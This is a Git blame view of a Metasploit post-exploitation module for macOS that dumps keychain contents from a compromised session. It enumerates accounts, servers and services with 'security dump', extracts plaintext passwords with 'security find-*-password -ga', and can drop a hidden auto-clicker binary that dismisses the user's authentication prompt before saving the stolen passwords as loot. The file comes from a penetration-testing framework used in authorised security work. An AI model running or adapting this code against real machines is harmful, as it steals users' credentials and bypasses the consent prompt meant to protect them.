Files
metasploit-gs/modules/post/osx/gather/enum_keychain.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

160 lines
4.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2015-09-07 21:13:27 -05:00
include Msf::Post::OSX::System
include Msf::Exploit::FileDropper
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS X Gather Keychain Enumeration',
'Description' => %q{
This module presents a way to quickly go through the current user's keychains and
collect data such as email accounts, servers, and other services. Please note:
when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
alert flash briefly on their screen that gets dismissed by a programmatically triggered click.
},
'License' => MSF_LICENSE,
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
)
)
2013-09-05 13:41:25 -05:00
register_options(
[
2015-09-07 21:13:27 -05:00
OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
2023-02-08 13:47:34 +00:00
]
)
2013-09-05 13:41:25 -05:00
end
def list_keychains
2023-02-08 13:47:34 +00:00
keychains = cmd_exec('security list')
user = cmd_exec('whoami')
2013-09-05 13:41:25 -05:00
print_status("The following keychains for #{user.strip} were found:")
print_line(keychains.chomp)
return keychains =~ /No such file or directory/ ? nil : keychains
end
2023-02-08 13:47:34 +00:00
def enum_accounts(_keychains)
user = cmd_exec('whoami').chomp
2015-06-22 14:30:46 -05:00
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
2013-09-05 13:41:25 -05:00
2015-09-07 21:13:27 -05:00
accounts = []
2013-09-05 13:41:25 -05:00
out.split("\n").each do |line|
2023-02-08 13:47:34 +00:00
next if line =~ /NULL/
case line
when /"acct"/
accounts << Hash.new
accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]
when /"srvr"/
accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]
when /"svce"/
accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]
when /"desc"/
accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]
2013-09-05 13:41:25 -05:00
end
end
2015-09-07 21:13:27 -05:00
accounts
2013-09-05 13:41:25 -05:00
end
def get_passwords(accounts)
(1..accounts.count).each do |num|
2023-02-08 13:47:34 +00:00
if accounts[num].key?('srvr')
2013-09-05 13:41:25 -05:00
c = 'find-internet-password'
2023-02-08 13:47:34 +00:00
s = accounts[num]['srvr']
2013-09-05 13:41:25 -05:00
else
c = 'find-generic-password'
2023-02-08 13:47:34 +00:00
s = accounts[num]['svce']
2013-09-05 13:41:25 -05:00
end
2023-02-08 13:47:34 +00:00
cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")
2013-09-05 13:41:25 -05:00
cmd.split("\n").each do |line|
if line =~ /password: /
2023-02-08 13:47:34 +00:00
if line.split[1].nil?
accounts[num]['pass'] = nil
2013-09-05 13:41:25 -05:00
else
2023-02-08 13:47:34 +00:00
accounts[num]['pass'] = line.split[1].gsub('"', '')
2013-09-05 13:41:25 -05:00
end
end
end
end
return accounts
end
2023-02-08 13:47:34 +00:00
def save(data, kind = 'Keychain information')
2013-09-05 13:41:25 -05:00
l = store_loot('macosx.keychain.info',
2023-02-08 13:47:34 +00:00
'plain/text',
session,
data,
'keychain_info.txt',
'Mac Keychain Account/Server/Service/Description')
2013-09-05 13:41:25 -05:00
2015-09-07 21:13:27 -05:00
print_good("#{@peer} - #{kind} saved in #{l}")
2013-09-05 13:41:25 -05:00
end
def run
@peer = "#{session.session_host}:#{session.session_port}"
keychains = list_keychains
if keychains.nil?
print_error("#{@peer} - Module timed out, no keychains found.")
return
end
2023-02-08 13:47:34 +00:00
user = cmd_exec('/usr/bin/whoami').chomp
2013-09-05 13:41:25 -05:00
accounts = enum_accounts(keychains)
save(accounts)
if datastore['GETPASS']
2023-02-08 13:47:34 +00:00
if datastore['GETPASS_AUTO_ACCEPT']
2015-09-07 21:13:27 -05:00
print_status("Writing auto-clicker to `#{clicker_file}'")
write_file(clicker_file, clicker_bin)
register_file_for_cleanup(clicker_file)
print_status('Dumping keychain with auto-clicker...')
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
save(passwords, 'Plaintext passwords')
begin
count = JSON.parse(passwords).count
print_good("Successfully stole #{count} passwords")
rescue JSON::ParserError => e
2023-02-08 13:47:34 +00:00
print_error('Response was not valid JSON')
2015-09-07 21:13:27 -05:00
end
else
begin
passwords = get_passwords(accounts)
2023-02-08 13:47:34 +00:00
rescue StandardError
2015-09-07 21:13:27 -05:00
print_error("#{@peer} - Module timed out, no passwords found.")
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
end
save(passwords)
2013-09-05 13:41:25 -05:00
end
end
end
2012-08-08 10:40:33 -05:00
2015-09-07 21:13:27 -05:00
def clicker_file
@clicker_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
def clicker_bin
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
))
end
2012-08-08 10:40:33 -05:00
end